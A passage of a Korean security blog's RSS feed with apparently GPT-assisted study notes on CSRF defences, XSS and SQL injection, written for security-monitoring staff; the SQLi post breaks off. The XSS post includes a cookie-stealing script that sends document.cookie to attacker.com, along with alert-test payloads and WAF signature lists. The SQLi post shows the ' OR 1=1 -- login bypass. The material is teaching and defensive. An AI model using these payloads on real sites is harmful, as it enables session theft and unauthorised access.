&lt;li data-end=&quot;1396&quot; data-start=&quot;1380&quot;&gt;요청 헤더의 출처 검증&lt;/li&gt;
&lt;li data-end=&quot;1416&quot; data-start=&quot;1397&quot;&gt;외부 사이트에서 오는 요청 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1440&quot; data-start=&quot;1418&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1440&quot; data-start=&quot;1418&quot;&gt;&lt;b&gt;SameSite Cookie&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1492&quot; data-start=&quot;1441&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1469&quot; data-start=&quot;1441&quot;&gt;SameSite=Lax|Strict 설정&lt;/li&gt;
&lt;li data-end=&quot;1492&quot; data-start=&quot;1470&quot;&gt;외부 사이트에서 쿠키 자동 전송 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1507&quot; data-start=&quot;1494&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1507&quot; data-start=&quot;1494&quot;&gt;&lt;b&gt;WAF 탐지&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1583&quot; data-start=&quot;1508&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1542&quot; data-start=&quot;1508&quot;&gt;상태 변경 요청 POST/PUT/DELETE 패턴 감시&lt;/li&gt;
&lt;li data-end=&quot;1569&quot; data-start=&quot;1543&quot;&gt;외부 출처 Referer 없는 요청 탐지&lt;/li&gt;
&lt;li data-end=&quot;1583&quot; data-start=&quot;1570&quot;&gt;반복 공격 IP 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1588&quot; data-start=&quot;1585&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1610&quot; data-start=&quot;1590&quot;&gt;  &lt;b&gt;6. 개발 단계 방어&lt;/b&gt;&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1720&quot; data-start=&quot;1612&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1641&quot; data-start=&quot;1612&quot;&gt;CSRF Token 사용: 각 세션별 랜덤 값&lt;/li&gt;
&lt;li data-end=&quot;1668&quot; data-start=&quot;1642&quot;&gt;Hidden Form + Token 검증&lt;/li&gt;
&lt;li data-end=&quot;1689&quot; data-start=&quot;1669&quot;&gt;GET 요청은 상태 변경 금지&lt;/li&gt;
&lt;li data-end=&quot;1720&quot; data-start=&quot;1690&quot;&gt;SPA / API: CORS + 토큰 기반 인증&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;# Flask CSRF 예시&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;from&lt;/span&gt;&lt;/span&gt;&lt;span&gt; flask_wtf.csrf &lt;/span&gt;&lt;span&gt;&lt;span&gt;import&lt;/span&gt;&lt;/span&gt;&lt;span&gt; CSRFProtect csrf = CSRFProtect(app) &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;1819&quot; data-start=&quot;1816&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1837&quot; data-start=&quot;1821&quot;&gt;  &lt;b&gt;한 문장 요약&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;1952&quot; data-start=&quot;1838&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CSRF = 공격자가 사용자의 로그인 세션을 이용해 사용자가 의도하지 않은 요청을 서버로 보내게 만드는 공격이며, CSRF 토큰, Referer 체크, SameSite 쿠키 설정으로 방어 가능하다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/2. 보안 관제</category>
      <category>CSRF</category>
      <category>보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/339</guid>
      <comments>https://toastfactory.tistory.com/339#entry339comment</comments>
      <pubDate>Fri, 14 Nov 2025 11:10:03 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] 크로스 사이트 스크립트(XSS)란?</title>
      <link>https://toastfactory.tistory.com/338</link>
      <description>&lt;p data-end=&quot;132&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;**XSS(Cross-Site Scripting)**를 SQL Injection처럼 실무 관점에서 정리해줄게.&lt;br /&gt;웹 보안관제 담당자 기준으로 &lt;b&gt;원리 &amp;rarr; 예시 Payload &amp;rarr; WAF/방어 방법&lt;/b&gt;까지 다 포함했어.&lt;/p&gt;
&lt;hr data-end=&quot;137&quot; data-start=&quot;134&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;179&quot; data-start=&quot;139&quot;&gt;  &lt;b&gt;1. XSS(Cross-Site Scripting) 개념&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;258&quot; data-start=&quot;181&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;XSS는 &lt;b&gt;공격자가 악성 스크립트를 웹 페이지에 삽입해, 다른 사용자의 브라우저에서 실행되도록 만드는 공격&lt;/b&gt;이야.&lt;/p&gt;
&lt;p data-end=&quot;269&quot; data-start=&quot;260&quot; data-ke-size=&quot;size16&quot;&gt;쉽게 말하면:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;344&quot; data-start=&quot;270&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;300&quot; data-start=&quot;270&quot;&gt;공격자는 &lt;b&gt;사용자가 보는 웹 페이지를 조작&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;344&quot; data-start=&quot;301&quot;&gt;브라우저에서 &lt;b&gt;쿠키&amp;middot;세션&amp;middot;개인정보 탈취&lt;/b&gt;, 피싱, 악성 동작 수행 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;349&quot; data-start=&quot;346&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;372&quot; data-start=&quot;351&quot;&gt;  &lt;b&gt;2. XSS 공격 원리&lt;/b&gt;&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;[공격자]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; &lt;/span&gt;&lt;span&gt;&lt;span&gt;[웹 애플리케이션 입력 필드]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; &lt;/span&gt;&lt;span&gt;&lt;span&gt;[DB/페이지 저장]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &amp;rarr; &lt;/span&gt;&lt;span&gt;&lt;span&gt;[사용자 브라우저 실행]&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;525&quot; data-start=&quot;438&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;482&quot; data-start=&quot;438&quot;&gt;사용자가 입력값 검증 없는 댓글, 검색, 게시판 등을 방문하면 스크립트 실행&lt;/li&gt;
&lt;li data-end=&quot;525&quot; data-start=&quot;483&quot;&gt;피해자는 &lt;b&gt;자신의 브라우저에서 악성 JS가 실행되는 것&lt;/b&gt;을 인지 못함&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;530&quot; data-start=&quot;527&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;550&quot; data-start=&quot;532&quot;&gt;  &lt;b&gt;3. XSS 종류&lt;/b&gt;&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;종류특징예시
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;781&quot; data-start=&quot;552&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;781&quot; data-start=&quot;592&quot;&gt;
&lt;tr data-end=&quot;656&quot; data-start=&quot;592&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;618&quot; data-start=&quot;592&quot;&gt;Stored XSS (Persistent)&lt;/td&gt;
&lt;td data-end=&quot;638&quot; data-start=&quot;618&quot; data-col-size=&quot;sm&quot;&gt;DB/서버에 악성 스크립트 저장&lt;/td&gt;
&lt;td data-end=&quot;656&quot; data-start=&quot;638&quot; data-col-size=&quot;sm&quot;&gt;게시판, 댓글, 블로그 글&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;710&quot; data-start=&quot;657&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;673&quot; data-start=&quot;657&quot;&gt;Reflected XSS&lt;/td&gt;
&lt;td data-end=&quot;692&quot; data-start=&quot;673&quot; data-col-size=&quot;sm&quot;&gt;URL/폼 입력값 그대로 반환&lt;/td&gt;
&lt;td data-end=&quot;710&quot; data-start=&quot;692&quot; data-col-size=&quot;sm&quot;&gt;검색, 로그인 에러 메시지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;781&quot; data-start=&quot;711&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;727&quot; data-start=&quot;711&quot;&gt;DOM-based XSS&lt;/td&gt;
&lt;td data-end=&quot;752&quot; data-start=&quot;727&quot; data-col-size=&quot;sm&quot;&gt;클라이언트 측 JS가 DOM을 잘못 처리&lt;/td&gt;
&lt;td data-end=&quot;781&quot; data-start=&quot;752&quot; data-col-size=&quot;sm&quot;&gt;JS에서 innerHTML로 사용자 입력 반영&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;786&quot; data-start=&quot;783&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;813&quot; data-start=&quot;788&quot;&gt;  &lt;b&gt;4. 실무 Payload 예시&lt;/b&gt;&lt;/h1&gt;
&lt;h2 data-end=&quot;830&quot; data-start=&quot;815&quot; data-ke-size=&quot;size26&quot;&gt;1) Alert 테스트&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;span&gt;script&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;alert&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;'XSS'&lt;/span&gt;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;/&lt;span&gt;script&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;885&quot; data-start=&quot;874&quot; data-ke-size=&quot;size26&quot;&gt;2) 쿠키 탈취&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;span&gt;script&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;document&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&lt;span&gt;location&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;span&gt;'&lt;a href=&quot;http://attacker.com/steal?c='&quot;&gt;http://attacker.com/steal?c='&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;&lt;span&gt;document&lt;/span&gt;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&lt;span&gt;cookie&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;/&lt;span&gt;script&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;1000&quot; data-start=&quot;981&quot; data-ke-size=&quot;size26&quot;&gt;3) Reflected XSS&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;a href=&quot;https://example.com/search?q=&quot;&gt;https://example.com/search?q=&lt;/a&gt;&lt;span&gt;&amp;lt;&lt;span&gt;script&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;alert&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;'XSS'&lt;/span&gt;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;lt;/&lt;span&gt;script&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;1088&quot; data-start=&quot;1069&quot; data-ke-size=&quot;size26&quot;&gt;4) DOM-based XSS&lt;/h2&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;document&lt;/span&gt;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&lt;span&gt;getElementById&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;'output'&lt;/span&gt;&lt;/span&gt;&lt;span&gt;).&lt;/span&gt;&lt;span&gt;&lt;span&gt;innerHTML&lt;/span&gt;&lt;/span&gt;&lt;span&gt; = location.&lt;/span&gt;&lt;span&gt;&lt;span&gt;hash&lt;/span&gt;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&lt;span&gt;substring&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1239&quot; data-start=&quot;1180&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1239&quot; data-start=&quot;1180&quot;&gt;URL: &lt;a href=&quot;https://example.com/page#&quot;&gt;https://example.com/page#&lt;/a&gt;
&lt;script&gt;alert(1)&lt;/script&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1244&quot; data-start=&quot;1241&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1269&quot; data-start=&quot;1246&quot;&gt;  &lt;b&gt;5. WAF/보안관제 대응&lt;/b&gt;&lt;/h1&gt;
&lt;h2 data-end=&quot;1287&quot; data-start=&quot;1271&quot; data-ke-size=&quot;size26&quot;&gt;1) 시그니처 기반 차단&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1375&quot; data-start=&quot;1288&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1302&quot; data-start=&quot;1288&quot;&gt;&amp;lt;script&amp;gt;&lt;/li&gt;
&lt;li data-end=&quot;1317&quot; data-start=&quot;1303&quot;&gt;onerror=&lt;/li&gt;
&lt;li data-end=&quot;1335&quot; data-start=&quot;1318&quot;&gt;javascript:&lt;/li&gt;
&lt;li data-end=&quot;1347&quot; data-start=&quot;1336&quot;&gt;eval(&lt;/li&gt;
&lt;li data-end=&quot;1375&quot; data-start=&quot;1348&quot;&gt;URL 인코딩 패턴 %3Cscript%3E&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-end=&quot;1396&quot; data-start=&quot;1377&quot; data-ke-size=&quot;size26&quot;&gt;2) 입력값 필터링 / 인코딩&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1468&quot; data-start=&quot;1397&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1433&quot; data-start=&quot;1397&quot;&gt;HTML Encode / Escape &amp;lt; &amp;gt; ' &quot; &amp;amp;&lt;/li&gt;
&lt;li data-end=&quot;1468&quot; data-start=&quot;1434&quot;&gt;Attribute, URL, JS 컨텍스트 별 인코딩 적용&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-end=&quot;1504&quot; data-start=&quot;1470&quot; data-ke-size=&quot;size26&quot;&gt;3) Content Security Policy(CSP)&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1558&quot; data-start=&quot;1505&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1527&quot; data-start=&quot;1505&quot;&gt;특정 도메인만 스크립트 로딩 허용&lt;/li&gt;
&lt;li data-end=&quot;1558&quot; data-start=&quot;1528&quot;&gt;inline script/unsafe-eval 제한&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-end=&quot;1585&quot; data-start=&quot;1560&quot; data-ke-size=&quot;size26&quot;&gt;4) Reflected/Stored 감지&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1631&quot; data-start=&quot;1586&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1615&quot; data-start=&quot;1586&quot;&gt;게시판, 검색, 입력 필드에서 공격 패턴 탐지&lt;/li&gt;
&lt;li data-end=&quot;1631&quot; data-start=&quot;1616&quot;&gt;반복 공격 시 IP 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1636&quot; data-start=&quot;1633&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1658&quot; data-start=&quot;1638&quot;&gt;  &lt;b&gt;6. 개발 단계 방어&lt;/b&gt;&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1812&quot; data-start=&quot;1660&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1693&quot; data-start=&quot;1660&quot;&gt;입력값 검증: 허용된 문자만 허용(Whitelist)&lt;/li&gt;
&lt;li data-end=&quot;1735&quot; data-start=&quot;1694&quot;&gt;출력 시 Escape 처리: HTML, JS, URL Context&lt;/li&gt;
&lt;li data-end=&quot;1777&quot; data-start=&quot;1736&quot;&gt;JS 내 innerHTML, document.write 사용 최소화&lt;/li&gt;
&lt;li data-end=&quot;1812&quot; data-start=&quot;1778&quot;&gt;라이브러리 사용: DOMPurify, OWASP ESAPI&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;// 예: DOMPurify 사용&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;let&lt;/span&gt;&lt;/span&gt;&lt;span&gt; clean = &lt;/span&gt;&lt;span&gt;&lt;span&gt;DOMPurify&lt;/span&gt;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&lt;span&gt;sanitize&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(userInput); &lt;/span&gt;&lt;span&gt;&lt;span&gt;document&lt;/span&gt;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&lt;span&gt;getElementById&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;'output'&lt;/span&gt;&lt;/span&gt;&lt;span&gt;).&lt;/span&gt;&lt;span&gt;&lt;span&gt;innerHTML&lt;/span&gt;&lt;/span&gt;&lt;span&gt; = clean; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;1951&quot; data-start=&quot;1948&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1969&quot; data-start=&quot;1953&quot;&gt;  &lt;b&gt;한 문장 요약&lt;/b&gt;&lt;/h1&gt;
&lt;p data-end=&quot;2080&quot; data-start=&quot;1970&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;XSS = 공격자가 삽입한 악성 스크립트가 다른 사용자의 브라우저에서 실행되어 쿠키 탈취, 피싱, 악성 동작을 수행하는 공격이며, WAF 탐지와 입력값 검증, CSP 적용으로 방어 가능하다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/2. 보안 관제</category>
      <category>XSS</category>
      <category>보안</category>
      <category>크로스사이트스크립트</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/338</guid>
      <comments>https://toastfactory.tistory.com/338#entry338comment</comments>
      <pubDate>Fri, 14 Nov 2025 11:09:00 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] SQL Injection이란?</title>
      <link>https://toastfactory.tistory.com/337</link>
      <description>&lt;p data-end=&quot;70&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;SQL Injection(SQLi)은 &lt;b&gt;웹 애플리케이션에서 입력값을 통해 데이터베이스 쿼리를 조작하는 공격 기법&lt;/b&gt;이야.&lt;/p&gt;
&lt;p data-end=&quot;148&quot; data-start=&quot;72&quot; data-ke-size=&quot;size16&quot;&gt;쉽게 말하면 **&amp;ldquo;웹사이트가 입력값을 그대로 DB 쿼리에 넣는 실수를 이용해 공격자가 원하는 명령을 실행하는 것&amp;rdquo;**이라고 보면 돼.&lt;/p&gt;
&lt;hr data-end=&quot;153&quot; data-start=&quot;150&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;180&quot; data-start=&quot;155&quot;&gt;  &lt;b&gt;SQL Injection 개념&lt;/b&gt;&lt;/h1&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;194&quot; data-start=&quot;182&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;194&quot; data-start=&quot;182&quot;&gt;&lt;b&gt;공격 원리&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;288&quot; data-start=&quot;195&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;238&quot; data-start=&quot;195&quot;&gt;웹페이지에서 사용자가 입력한 데이터를 DB 쿼리에 직접 연결할 때 발생&lt;/li&gt;
&lt;li data-end=&quot;288&quot; data-start=&quot;239&quot;&gt;예: 로그인 폼에서 username과 password를 입력받아 DB에서 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;*&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;/span&gt;&lt;span&gt; users &lt;/span&gt;&lt;span&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;/span&gt;&lt;span&gt; username &lt;/span&gt;&lt;span&gt;&lt;span&gt;=&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;'$input_user'&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;AND&lt;/span&gt;&lt;/span&gt;&lt;span&gt; password &lt;/span&gt;&lt;span&gt;&lt;span&gt;=&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;'$input_pass'&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;424&quot; data-start=&quot;381&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;424&quot; data-start=&quot;381&quot;&gt;공격자가 input_user에 ' OR 1=1 -- 를 입력하면&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;*&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;/span&gt;&lt;span&gt; users &lt;/span&gt;&lt;span&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;/span&gt;&lt;span&gt; username &lt;/span&gt;&lt;span&gt;&lt;span&gt;=&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;''&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;OR&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;=&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;--' AND password = '';&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;540&quot; data-start=&quot;506&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;540&quot; data-start=&quot;506&quot;&gt;결과적으로 조건이 항상 참이 되어 &lt;b&gt;로그인 우회&lt;/b&gt; 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;545&quot; data-start=&quot;542&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;559&quot; data-start=&quot;547&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;559&quot; data-start=&quot;547&quot;&gt;&lt;b&gt;공격 목표&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;663&quot; data-start=&quot;560&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;578&quot; data-start=&quot;560&quot;&gt;인증 우회 (로그인 탈취)&lt;/li&gt;
&lt;li data-end=&quot;607&quot; data-start=&quot;579&quot;&gt;민감 정보 조회 (개인정보, 계좌 정보 등)&lt;/li&gt;
&lt;li data-end=&quot;624&quot; data-start=&quot;608&quot;&gt;데이터 삭제&amp;middot;변경&amp;middot;삽입&lt;/li&gt;
&lt;li data-end=&quot;663&quot; data-start=&quot;625&quot;&gt;서버 내부 명령 실행, 파일 접근 가능(Advanced SQLi)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;668&quot; data-start=&quot;665&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;693&quot; data-start=&quot;670&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;693&quot; data-start=&quot;670&quot;&gt;&lt;b&gt;SQL Injection 종류&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;div&gt;유형설명
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;928&quot; data-start=&quot;695&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;928&quot; data-start=&quot;723&quot;&gt;
&lt;tr data-end=&quot;768&quot; data-start=&quot;723&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;743&quot; data-start=&quot;723&quot;&gt;Classic / In-band&lt;/td&gt;
&lt;td data-end=&quot;768&quot; data-start=&quot;743&quot; data-col-size=&quot;sm&quot;&gt;결과가 웹페이지에 그대로 나타나는 공격&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;807&quot; data-start=&quot;769&quot;&gt;
